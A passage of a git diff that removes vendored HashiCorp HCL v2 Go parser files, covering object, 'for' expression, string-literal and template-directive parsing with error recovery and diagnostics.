in the token stream, so we'll bail out and try to reset - // to after our closing brace to allow parsing to continue. - close = p.recover(TokenCBrace) - break - } - - // We wrap up the key expression in a special wrapper that deals - // with our special case that naked identifiers as object keys - // are interpreted as literal strings. - key = &ObjectConsKeyExpr{ - Wrapped: key, - ForceNonLiteral: forceNonLiteral, - } - - next = p.Peek() - if next.Type != TokenEqual && next.Type != TokenColon { - if !p.recovery { - switch next.Type { - case TokenNewline, TokenComma: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing attribute value", - Detail: "Expected an attribute value, introduced by an equals sign (\"=\").", - Subject: &next.Range, - Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), - }) - case TokenIdent: - // Although this might just be a plain old missing equals - // sign before a reference, one way to get here is to try - // to write an attribute name containing a period followed - // by a digit, which was valid in HCL1, like this: - // foo1.2_bar = "baz" - // We can't know exactly what the user intended here, but - // we'll augment our message with an extra hint in this case - // in case it is helpful. - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing key/value separator", - Detail: "Expected an equals sign (\"=\") to mark the beginning of the attribute value. If you intended to given an attribute name containing periods or spaces, write the name in quotes to create a string literal.", - Subject: &next.Range, - Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), - }) - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing key/value separator", - Detail: "Expected an equals sign (\"=\") to mark the beginning of the attribute value.", - Subject: &next.Range, - Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), - }) - } - } - close = p.recover(TokenCBrace) - break - } - - p.Read() // eat equals sign or colon - - value, valueDiags := p.ParseExpression() - diags = append(diags, valueDiags...) - - if p.recovery && valueDiags.HasErrors() { - // If expression parsing failed then we are probably in a strange - // place in the token stream, so we'll bail out and try to reset - // to after our closing brace to allow parsing to continue. - close = p.recover(TokenCBrace) - break - } - - items = append(items, ObjectConsItem{ - KeyExpr: key, - ValueExpr: value, - }) - - next = p.Peek() - if next.Type == TokenCBrace { - close = p.Read() // eat closer - break - } - - if next.Type != TokenComma && next.Type != TokenNewline { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing attribute separator", - Detail: "Expected a newline or comma to mark the beginning of the next attribute.", - Subject: &next.Range, - Context: hcl.RangeBetween(open.Range, next.Range).Ptr(), - }) - } - close = p.recover(TokenCBrace) - break - } - - p.Read() // eat comma or newline - - } - - return &ObjectConsExpr{ - Items: items, - - SrcRange: hcl.RangeBetween(open.Range, close.Range), - OpenRange: open.Range, - }, diags -} - -func (p *parser) finishParsingForExpr(open Token) (Expression, hcl.Diagnostics) { - p.PushIncludeNewlines(false) - defer p.PopIncludeNewlines() - introducer := p.Read() - if !forKeyword.TokenMatches(introducer) { - // Should never happen if callers are behaving - panic("finishParsingForExpr called without peeker pointing to 'for' identifier") - } - - var makeObj bool - var closeType TokenType - switch open.Type { - case TokenOBrace: - makeObj = true - closeType = TokenCBrace - case TokenOBrack: - makeObj = false // making a tuple - closeType = TokenCBrack - default: - // Should never happen if callers are behaving - panic("finishParsingForExpr called with invalid open token") - } - - var diags hcl.Diagnostics - var keyName, valName string - - if p.Peek().Type != TokenIdent { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "For expression requires variable name after 'for'.", - Subject: p.Peek().Range.Ptr(), - Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), - }) - } - close := p.recover(closeType) - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }, diags - } - - valName = string(p.Read().Bytes) - - if p.Peek().Type == TokenComma { - // What we just read was actually the key, then. - keyName = valName - p.Read() // eat comma - - if p.Peek().Type != TokenIdent { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "For expression requires value variable name after comma.", - Subject: p.Peek().Range.Ptr(), - Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), - }) - } - close := p.recover(closeType) - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }, diags - } - - valName = string(p.Read().Bytes) - } - - if !inKeyword.TokenMatches(p.Peek()) { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "For expression requires the 'in' keyword after its name declarations.", - Subject: p.Peek().Range.Ptr(), - Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), - }) - } - close := p.recover(closeType) - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }, diags - } - p.Read() // eat 'in' keyword - - collExpr, collDiags := p.ParseExpression() - diags = append(diags, collDiags...) - if p.recovery && collDiags.HasErrors() { - close := p.recover(closeType) - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }, diags - } - - if p.Peek().Type != TokenColon { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "For expression requires a colon after the collection expression.", - Subject: p.Peek().Range.Ptr(), - Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), - }) - } - close := p.recover(closeType) - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }, diags - } - p.Read() // eat colon - - var keyExpr, valExpr Expression - var keyDiags, valDiags hcl.Diagnostics - valExpr, valDiags = p.ParseExpression() - if p.Peek().Type == TokenFatArrow { - // What we just parsed was actually keyExpr - p.Read() // eat the fat arrow - keyExpr, keyDiags = valExpr, valDiags - - valExpr, valDiags = p.ParseExpression() - } - diags = append(diags, keyDiags...) - diags = append(diags, valDiags...) - if p.recovery && (keyDiags.HasErrors() || valDiags.HasErrors()) { - close := p.recover(closeType) - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }, diags - } - - group := false - var ellipsis Token - if p.Peek().Type == TokenEllipsis { - ellipsis = p.Read() - group = true - } - - var condExpr Expression - var condDiags hcl.Diagnostics - if ifKeyword.TokenMatches(p.Peek()) { - p.Read() // eat "if" - condExpr, condDiags = p.ParseExpression() - diags = append(diags, condDiags...) - if p.recovery && condDiags.HasErrors() { - close := p.recover(p.oppositeBracket(open.Type)) - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: hcl.RangeBetween(open.Range, close.Range), - }, diags - } - } - - var close Token - if p.Peek().Type == closeType { - close = p.Read() - } else { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "Extra characters after the end of the 'for' expression.", - Subject: p.Peek().Range.Ptr(), - Context: hcl.RangeBetween(open.Range, p.Peek().Range).Ptr(), - }) - } - close = p.recover(closeType) - } - - if !makeObj { - if keyExpr != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "Key expression is not valid when building a tuple.", - Subject: keyExpr.Range().Ptr(), - Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), - }) - } - - if group { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "Grouping ellipsis (...) cannot be used when building a tuple.", - Subject: &ellipsis.Range, - Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), - }) - } - } else { - if keyExpr == nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' expression", - Detail: "Key expression is required when building an object.", - Subject: valExpr.Range().Ptr(), - Context: hcl.RangeBetween(open.Range, close.Range).Ptr(), - }) - } - } - - return &ForExpr{ - KeyVar: keyName, - ValVar: valName, - CollExpr: collExpr, - KeyExpr: keyExpr, - ValExpr: valExpr, - CondExpr: condExpr, - Group: group, - - SrcRange: hcl.RangeBetween(open.Range, close.Range), - OpenRange: open.Range, - CloseRange: close.Range, - }, diags -} - -// parseQuotedStringLiteral is a helper for parsing quoted strings that -// aren't allowed to contain any interpolations, such as block labels. -func (p *parser) parseQuotedStringLiteral() (string, hcl.Range, hcl.Diagnostics) { - oQuote := p.Read() - if oQuote.Type != TokenOQuote { - return "", oQuote.Range, hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: "Invalid string literal", - Detail: "A quoted string is required here.", - Subject: &oQuote.Range, - }, - } - } - - var diags hcl.Diagnostics - ret := &bytes.Buffer{} - var cQuote Token - -Token: - for { - tok := p.Read() - switch tok.Type { - - case TokenCQuote: - cQuote = tok - break Token - - case TokenQuotedLit: - s, sDiags := ParseStringLiteralToken(tok) - diags = append(diags, sDiags...) - ret.WriteString(s) - - case TokenTemplateControl, TokenTemplateInterp: - which := "$" - if tok.Type == TokenTemplateControl { - which = "%" - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid string literal", - Detail: fmt.Sprintf( - "Template sequences are not allowed in this string. To include a literal %q, double it (as \"%s%s\") to escape it.", - which, which, which, - ), - Subject: &tok.Range, - Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), - }) - - // Now that we're returning an error callers won't attempt to use - // the result for any real operations, but they might try to use - // the partial AST for other analyses, so we'll leave a marker - // to indicate that there was something invalid in the string to - // help avoid misinterpretation of the partial result - ret.WriteString(which) - ret.WriteString("{ ... }") - - p.recover(TokenTemplateSeqEnd) // we'll try to keep parsing after the sequence ends - - case TokenEOF: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unterminated string literal", - Detail: "Unable to find the closing quote mark before the end of the file.", - Subject: &tok.Range, - Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), - }) - break Token - - default: - // Should never happen, as long as the scanner is behaving itself - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid string literal", - Detail: "This item is not valid in a string literal.", - Subject: &tok.Range, - Context: hcl.RangeBetween(oQuote.Range, tok.Range).Ptr(), - }) - p.recover(TokenCQuote) - break Token - - } - - } - - return ret.String(), hcl.RangeBetween(oQuote.Range, cQuote.Range), diags -} - -// ParseStringLiteralToken processes the given token, which must be either a -// TokenQuotedLit or a TokenStringLit, returning the string resulting from -// resolving any escape sequences. -// -// If any error diagnostics are returned, the returned string may be incomplete -// or otherwise invalid. -func ParseStringLiteralToken(tok Token) (string, hcl.Diagnostics) { - var quoted bool - switch tok.Type { - case TokenQuotedLit: - quoted = true - case TokenStringLit: - quoted = false - default: - panic("ParseStringLiteralToken can only be used with TokenStringLit and TokenQuotedLit tokens") - } - var diags hcl.Diagnostics - - ret := make([]byte, 0, len(tok.Bytes)) - slices := scanStringLit(tok.Bytes, quoted) - - // We will mutate rng constantly as we walk through our token slices below. - // Any diagnostics must take a copy of this rng rather than simply pointing - // to it, e.g. by using rng.Ptr() rather than &rng. - rng := tok.Range - rng.End = rng.Start - -Slices: - for _, slice := range slices { - if len(slice) == 0 { - continue - } - - // Advance the start of our range to where the previous token ended - rng.Start = rng.End - - // Advance the end of our range to after our token. - b := slice - for len(b) > 0 { - adv, ch, _ := textseg.ScanGraphemeClusters(b, true) - rng.End.Byte += adv - switch ch[0] { - case '\r', '\n': - rng.End.Line++ - rng.End.Column = 1 - default: - rng.End.Column++ - } - b = b[adv:] - } - - TokenType: - switch slice[0] { - case '\\': - if !quoted { - // If we're not in quoted mode then just treat this token as - // normal. (Slices can still start with backslash even if we're - // not specifically looking for backslash sequences.) - break TokenType - } - if len(slice) < 2 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid escape sequence", - Detail: "Backslash must be followed by an escape sequence selector character.", - Subject: rng.Ptr(), - }) - break TokenType - } - - switch slice[1] { - - case 'n': - ret = append(ret, '\n') - continue Slices - case 'r': - ret = append(ret, '\r') - continue Slices - case 't': - ret = append(ret, '\t') - continue Slices - case '"': - ret = append(ret, '"') - continue Slices - case '\\': - ret = append(ret, '\\') - continue Slices - case 'u', 'U': - if slice[1] == 'u' && len(slice) != 6 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid escape sequence", - Detail: "The \\u escape sequence must be followed by four hexadecimal digits.", - Subject: rng.Ptr(), - }) - break TokenType - } else if slice[1] == 'U' && len(slice) != 10 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid escape sequence", - Detail: "The \\U escape sequence must be followed by eight hexadecimal digits.", - Subject: rng.Ptr(), - }) - break TokenType - } - - numHex := string(slice[2:]) - num, err := strconv.ParseUint(numHex, 16, 32) - if err != nil { - // Should never happen because the scanner won't match - // a sequence of digits that isn't valid. - panic(err) - } - - r := rune(num) - l := utf8.RuneLen(r) - if l == -1 { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid escape sequence", - Detail: fmt.Sprintf("Cannot encode character U+%04x in UTF-8.", num), - Subject: rng.Ptr(), - }) - break TokenType - } - for i := 0; i < l; i++ { - ret = append(ret, 0) - } - rb := ret[len(ret)-l:] - utf8.EncodeRune(rb, r) - - continue Slices - - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid escape sequence", - Detail: fmt.Sprintf("The symbol %q is not a valid escape sequence selector.", slice[1:]), - Subject: rng.Ptr(), - }) - ret = append(ret, slice[1:]...) - continue Slices - } - - case '$', '%': - if len(slice) != 3 { - // Not long enough to be our escape sequence, so it's literal. - break TokenType - } - - if slice[1] == slice[0] && slice[2] == '{' { - ret = append(ret, slice[0]) - ret = append(ret, '{') - continue Slices - } - - break TokenType - } - - // If we fall out here or break out of here from the switch above - // then this slice is just a literal. - ret = append(ret, slice...) - } - - return string(ret), diags -} - -// setRecovery turns on recovery mode without actually doing any recovery. -// This can be used when a parser knowingly leaves the peeker in a useless -// place and wants to suppress errors that might result from that decision. -func (p *parser) setRecovery() { - p.recovery = true -} - -// recover seeks forward in the token stream until it finds TokenType "end", -// then returns with the peeker pointed at the following token. -// -// If the given token type is a bracketer, this function will additionally -// count nested instances of the brackets to try to leave the peeker at -// the end of the _current_ instance of that bracketer, skipping over any -// nested instances. This is a best-effort operation and may have -// unpredictable results on input with bad bracketer nesting. -func (p *parser) recover(end TokenType) Token { - start := p.oppositeBracket(end) - p.recovery = true - - nest := 0 - for { - tok := p.Read() - ty := tok.Type - if end == TokenTemplateSeqEnd && ty == TokenTemplateControl { - // normalize so that our matching behavior can work, since - // TokenTemplateControl/TokenTemplateInterp are asymmetrical - // with TokenTemplateSeqEnd and thus we need to count both - // openers if that's the closer we're looking for. - ty = TokenTemplateInterp - } - - switch ty { - case start: - nest++ - case end: - if nest < 1 { - return tok - } - - nest-- - case TokenEOF: - return tok - } - } -} - -// recoverOver seeks forward in the token stream until it finds a block -// starting with TokenType "start", then finds the corresponding end token, -// leaving the peeker pointed at the token after that end token. -// -// The given token type _must_ be a bracketer. For example, if the given -// start token is TokenOBrace then the parser will be left at the _end_ of -// the next brace-delimited block encountered, or at EOF if no such block -// is found or it is unclosed. -func (p *parser) recoverOver(start TokenType) { - end := p.oppositeBracket(start) - - // find the opening bracket first -Token: - for { - tok := p.Read() - switch tok.Type { - case start, TokenEOF: - break Token - } - } - - // Now use our existing recover function to locate the _end_ of the - // container we've found. - p.recover(end) -} - -func (p *parser) recoverAfterBodyItem() { - p.recovery = true - var open []TokenType - -Token: - for { - tok := p.Read() - - switch tok.Type { - - case TokenNewline: - if len(open) == 0 { - break Token - } - - case TokenEOF: - break Token - - case TokenOBrace, TokenOBrack, TokenOParen, TokenOQuote, TokenOHeredoc, TokenTemplateInterp, TokenTemplateControl: - open = append(open, tok.Type) - - case TokenCBrace, TokenCBrack, TokenCParen, TokenCQuote, TokenCHeredoc: - opener := p.oppositeBracket(tok.Type) - for len(open) > 0 && open[len(open)-1] != opener { - open = open[:len(open)-1] - } - if len(open) > 0 { - open = open[:len(open)-1] - } - - case TokenTemplateSeqEnd: - for len(open) > 0 && open[len(open)-1] != TokenTemplateInterp && open[len(open)-1] != TokenTemplateControl { - open = open[:len(open)-1] - } - if len(open) > 0 { - open = open[:len(open)-1] - } - - } - } -} - -// oppositeBracket finds the bracket that opposes the given bracketer, or -// NilToken if the given token isn't a bracketer. -// -// "Bracketer", for the sake of this function, is one end of a matching -// open/close set of tokens that establish a bracketing context. -func (p *parser) oppositeBracket(ty TokenType) TokenType { - switch ty { - - case TokenOBrace: - return TokenCBrace - case TokenOBrack: - return TokenCBrack - case TokenOParen: - return TokenCParen - case TokenOQuote: - return TokenCQuote - case TokenOHeredoc: - return TokenCHeredoc - - case TokenCBrace: - return TokenOBrace - case TokenCBrack: - return TokenOBrack - case TokenCParen: - return TokenOParen - case TokenCQuote: - return TokenOQuote - case TokenCHeredoc: - return TokenOHeredoc - - case TokenTemplateControl: - return TokenTemplateSeqEnd - case TokenTemplateInterp: - return TokenTemplateSeqEnd - case TokenTemplateSeqEnd: - // This is ambigous, but we return Interp here because that's - // what's assumed by the "recover" method. - return TokenTemplateInterp - - default: - return TokenNil - } -} - -func errPlaceholderExpr(rng hcl.Range) Expression { - return &LiteralValueExpr{ - Val: cty.DynamicVal, - SrcRange: rng, - } -} diff --git a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser_template.go b/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser_template.go deleted file mode 100644 index bb85646103..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/hclsyntax/parser_template.go +++ /dev/null @@ -1,799 +0,0 @@ -package hclsyntax - -import ( - "fmt" - "strings" - "unicode" - - "github.com/apparentlymart/go-textseg/v12/textseg" - "github.com/hashicorp/hcl/v2" - "github.com/zclconf/go-cty/cty" -) - -func (p *parser) ParseTemplate() (Expression, hcl.Diagnostics) { - return p.parseTemplate(TokenEOF, false) -} - -func (p *parser) parseTemplate(end TokenType, flushHeredoc bool) (Expression, hcl.Diagnostics) { - exprs, passthru, rng, diags := p.parseTemplateInner(end, flushHeredoc) - - if passthru { - if len(exprs) != 1 { - panic("passthru set with len(exprs) != 1") - } - return &TemplateWrapExpr{ - Wrapped: exprs[0], - SrcRange: rng, - }, diags - } - - return &TemplateExpr{ - Parts: exprs, - SrcRange: rng, - }, diags -} - -func (p *parser) parseTemplateInner(end TokenType, flushHeredoc bool) ([]Expression, bool, hcl.Range, hcl.Diagnostics) { - parts, diags := p.parseTemplateParts(end) - if flushHeredoc { - flushHeredocTemplateParts(parts) // Trim off leading spaces on lines per the flush heredoc spec - } - tp := templateParser{ - Tokens: parts.Tokens, - SrcRange: parts.SrcRange, - } - exprs, exprsDiags := tp.parseRoot() - diags = append(diags, exprsDiags...) - - passthru := false - if len(parts.Tokens) == 2 { // one real token and one synthetic "end" token - if _, isInterp := parts.Tokens[0].(*templateInterpToken); isInterp { - passthru = true - } - } - - return exprs, passthru, parts.SrcRange, diags -} - -type templateParser struct { - Tokens []templateToken - SrcRange hcl.Range - - pos int -} - -func (p *templateParser) parseRoot() ([]Expression, hcl.Diagnostics) { - var exprs []Expression - var diags hcl.Diagnostics - - for { - next := p.Peek() - if _, isEnd := next.(*templateEndToken); isEnd { - break - } - - expr, exprDiags := p.parseExpr() - diags = append(diags, exprDiags...) - exprs = append(exprs, expr) - } - - return exprs, diags -} - -func (p *templateParser) parseExpr() (Expression, hcl.Diagnostics) { - next := p.Peek() - switch tok := next.(type) { - - case *templateLiteralToken: - p.Read() // eat literal - return &LiteralValueExpr{ - Val: cty.StringVal(tok.Val), - SrcRange: tok.SrcRange, - }, nil - - case *templateInterpToken: - p.Read() // eat interp - return tok.Expr, nil - - case *templateIfToken: - return p.parseIf() - - case *templateForToken: - return p.parseFor() - - case *templateEndToken: - p.Read() // eat erroneous token - return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{ - { - // This is a particularly unhelpful diagnostic, so callers - // should attempt to pre-empt it and produce a more helpful - // diagnostic that is context-aware. - Severity: hcl.DiagError, - Summary: "Unexpected end of template", - Detail: "The control directives within this template are unbalanced.", - Subject: &tok.SrcRange, - }, - } - - case *templateEndCtrlToken: - p.Read() // eat erroneous token - return errPlaceholderExpr(tok.SrcRange), hcl.Diagnostics{ - { - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Unexpected %s directive", tok.Name()), - Detail: "The control directives within this template are unbalanced.", - Subject: &tok.SrcRange, - }, - } - - default: - // should never happen, because above should be exhaustive - panic(fmt.Sprintf("unhandled template token type %T", next)) - } -} - -func (p *templateParser) parseIf() (Expression, hcl.Diagnostics) { - open := p.Read() - openIf, isIf := open.(*templateIfToken) - if !isIf { - // should never happen if caller is behaving - panic("parseIf called with peeker not pointing at if token") - } - - var ifExprs, elseExprs []Expression - var diags hcl.Diagnostics - var endifRange hcl.Range - - currentExprs := &ifExprs -Token: - for { - next := p.Peek() - if end, isEnd := next.(*templateEndToken); isEnd { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unexpected end of template", - Detail: fmt.Sprintf( - "The if directive at %s is missing its corresponding endif directive.", - openIf.SrcRange, - ), - Subject: &end.SrcRange, - }) - return errPlaceholderExpr(end.SrcRange), diags - } - if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd { - p.Read() // eat end directive - - switch end.Type { - - case templateElse: - if currentExprs == &ifExprs { - currentExprs = &elseExprs - continue Token - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unexpected else directive", - Detail: fmt.Sprintf( - "Already in the else clause for the if started at %s.", - openIf.SrcRange, - ), - Subject: &end.SrcRange, - }) - - case templateEndIf: - endifRange = end.SrcRange - break Token - - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Unexpected %s directive", end.Name()), - Detail: fmt.Sprintf( - "Expecting an endif directive for the if started at %s.", - openIf.SrcRange, - ), - Subject: &end.SrcRange, - }) - } - - return errPlaceholderExpr(end.SrcRange), diags - } - - expr, exprDiags := p.parseExpr() - diags = append(diags, exprDiags...) - *currentExprs = append(*currentExprs, expr) - } - - if len(ifExprs) == 0 { - ifExprs = append(ifExprs, &LiteralValueExpr{ - Val: cty.StringVal(""), - SrcRange: hcl.Range{ - Filename: openIf.SrcRange.Filename, - Start: openIf.SrcRange.End, - End: openIf.SrcRange.End, - }, - }) - } - if len(elseExprs) == 0 { - elseExprs = append(elseExprs, &LiteralValueExpr{ - Val: cty.StringVal(""), - SrcRange: hcl.Range{ - Filename: endifRange.Filename, - Start: endifRange.Start, - End: endifRange.Start, - }, - }) - } - - trueExpr := &TemplateExpr{ - Parts: ifExprs, - SrcRange: hcl.RangeBetween(ifExprs[0].Range(), ifExprs[len(ifExprs)-1].Range()), - } - falseExpr := &TemplateExpr{ - Parts: elseExprs, - SrcRange: hcl.RangeBetween(elseExprs[0].Range(), elseExprs[len(elseExprs)-1].Range()), - } - - return &ConditionalExpr{ - Condition: openIf.CondExpr, - TrueResult: trueExpr, - FalseResult: falseExpr, - - SrcRange: hcl.RangeBetween(openIf.SrcRange, endifRange), - }, diags -} - -func (p *templateParser) parseFor() (Expression, hcl.Diagnostics) { - open := p.Read() - openFor, isFor := open.(*templateForToken) - if !isFor { - // should never happen if caller is behaving - panic("parseFor called with peeker not pointing at for token") - } - - var contentExprs []Expression - var diags hcl.Diagnostics - var endforRange hcl.Range - -Token: - for { - next := p.Peek() - if end, isEnd := next.(*templateEndToken); isEnd { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unexpected end of template", - Detail: fmt.Sprintf( - "The for directive at %s is missing its corresponding endfor directive.", - openFor.SrcRange, - ), - Subject: &end.SrcRange, - }) - return errPlaceholderExpr(end.SrcRange), diags - } - if end, isCtrlEnd := next.(*templateEndCtrlToken); isCtrlEnd { - p.Read() // eat end directive - - switch end.Type { - - case templateElse: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Unexpected else directive", - Detail: "An else clause is not expected for a for directive.", - Subject: &end.SrcRange, - }) - - case templateEndFor: - endforRange = end.SrcRange - break Token - - default: - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: fmt.Sprintf("Unexpected %s directive", end.Name()), - Detail: fmt.Sprintf( - "Expecting an endfor directive corresponding to the for directive at %s.", - openFor.SrcRange, - ), - Subject: &end.SrcRange, - }) - } - - return errPlaceholderExpr(end.SrcRange), diags - } - - expr, exprDiags := p.parseExpr() - diags = append(diags, exprDiags...) - contentExprs = append(contentExprs, expr) - } - - if len(contentExprs) == 0 { - contentExprs = append(contentExprs, &LiteralValueExpr{ - Val: cty.StringVal(""), - SrcRange: hcl.Range{ - Filename: openFor.SrcRange.Filename, - Start: openFor.SrcRange.End, - End: openFor.SrcRange.End, - }, - }) - } - - contentExpr := &TemplateExpr{ - Parts: contentExprs, - SrcRange: hcl.RangeBetween(contentExprs[0].Range(), contentExprs[len(contentExprs)-1].Range()), - } - - forExpr := &ForExpr{ - KeyVar: openFor.KeyVar, - ValVar: openFor.ValVar, - - CollExpr: openFor.CollExpr, - ValExpr: contentExpr, - - SrcRange: hcl.RangeBetween(openFor.SrcRange, endforRange), - OpenRange: openFor.SrcRange, - CloseRange: endforRange, - } - - return &TemplateJoinExpr{ - Tuple: forExpr, - }, diags -} - -func (p *templateParser) Peek() templateToken { - return p.Tokens[p.pos] -} - -func (p *templateParser) Read() templateToken { - ret := p.Peek() - if _, end := ret.(*templateEndToken); !end { - p.pos++ - } - return ret -} - -// parseTemplateParts produces a flat sequence of "template tokens", which are -// either literal values (with any "trimming" already applied), interpolation -// sequences, or control flow markers. -// -// A further pass is required on the result to turn it into an AST. -func (p *parser) parseTemplateParts(end TokenType) (*templateParts, hcl.Diagnostics) { - var parts []templateToken - var diags hcl.Diagnostics - - startRange := p.NextRange() - ltrimNext := false - nextCanTrimPrev := false - var endRange hcl.Range - -Token: - for { - next := p.Read() - if next.Type == end { - // all done! - endRange = next.Range - break - } - - ltrim := ltrimNext - ltrimNext = false - canTrimPrev := nextCanTrimPrev - nextCanTrimPrev = false - - switch next.Type { - case TokenStringLit, TokenQuotedLit: - str, strDiags := ParseStringLiteralToken(next) - diags = append(diags, strDiags...) - - if ltrim { - str = strings.TrimLeftFunc(str, unicode.IsSpace) - } - - parts = append(parts, &templateLiteralToken{ - Val: str, - SrcRange: next.Range, - }) - nextCanTrimPrev = true - - case TokenTemplateInterp: - // if the opener is ${~ then we want to eat any trailing whitespace - // in the preceding literal token, assuming it is indeed a literal - // token. - if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 { - prevExpr := parts[len(parts)-1] - if lexpr, ok := prevExpr.(*templateLiteralToken); ok { - lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace) - } - } - - p.PushIncludeNewlines(false) - expr, exprDiags := p.ParseExpression() - diags = append(diags, exprDiags...) - close := p.Peek() - if close.Type != TokenTemplateSeqEnd { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Extra characters after interpolation expression", - Detail: "Expected a closing brace to end the interpolation expression, but found extra characters.", - Subject: &close.Range, - Context: hcl.RangeBetween(startRange, close.Range).Ptr(), - }) - } - p.recover(TokenTemplateSeqEnd) - } else { - p.Read() // eat closing brace - - // If the closer is ~} then we want to eat any leading - // whitespace on the next token, if it turns out to be a - // literal token. - if len(close.Bytes) == 2 && close.Bytes[0] == '~' { - ltrimNext = true - } - } - p.PopIncludeNewlines() - parts = append(parts, &templateInterpToken{ - Expr: expr, - SrcRange: hcl.RangeBetween(next.Range, close.Range), - }) - - case TokenTemplateControl: - // if the opener is %{~ then we want to eat any trailing whitespace - // in the preceding literal token, assuming it is indeed a literal - // token. - if canTrimPrev && len(next.Bytes) == 3 && next.Bytes[2] == '~' && len(parts) > 0 { - prevExpr := parts[len(parts)-1] - if lexpr, ok := prevExpr.(*templateLiteralToken); ok { - lexpr.Val = strings.TrimRightFunc(lexpr.Val, unicode.IsSpace) - } - } - p.PushIncludeNewlines(false) - - kw := p.Peek() - if kw.Type != TokenIdent { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid template directive", - Detail: "A template directive keyword (\"if\", \"for\", etc) is expected at the beginning of a %{ sequence.", - Subject: &kw.Range, - Context: hcl.RangeBetween(next.Range, kw.Range).Ptr(), - }) - } - p.recover(TokenTemplateSeqEnd) - p.PopIncludeNewlines() - continue Token - } - p.Read() // eat keyword token - - switch { - - case ifKeyword.TokenMatches(kw): - condExpr, exprDiags := p.ParseExpression() - diags = append(diags, exprDiags...) - parts = append(parts, &templateIfToken{ - CondExpr: condExpr, - SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), - }) - - case elseKeyword.TokenMatches(kw): - parts = append(parts, &templateEndCtrlToken{ - Type: templateElse, - SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), - }) - - case endifKeyword.TokenMatches(kw): - parts = append(parts, &templateEndCtrlToken{ - Type: templateEndIf, - SrcRange: hcl.RangeBetween(next.Range, p.NextRange()), - }) - - case forKeyword.TokenMatches(kw): - var keyName, valName string - if p.Peek().Type != TokenIdent { - if !p.recovery { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid 'for' directive", - Detail: "For directive requires variable name after 'for'.", - Subject: p.Peek().Range.Ptr(), - }) - } - 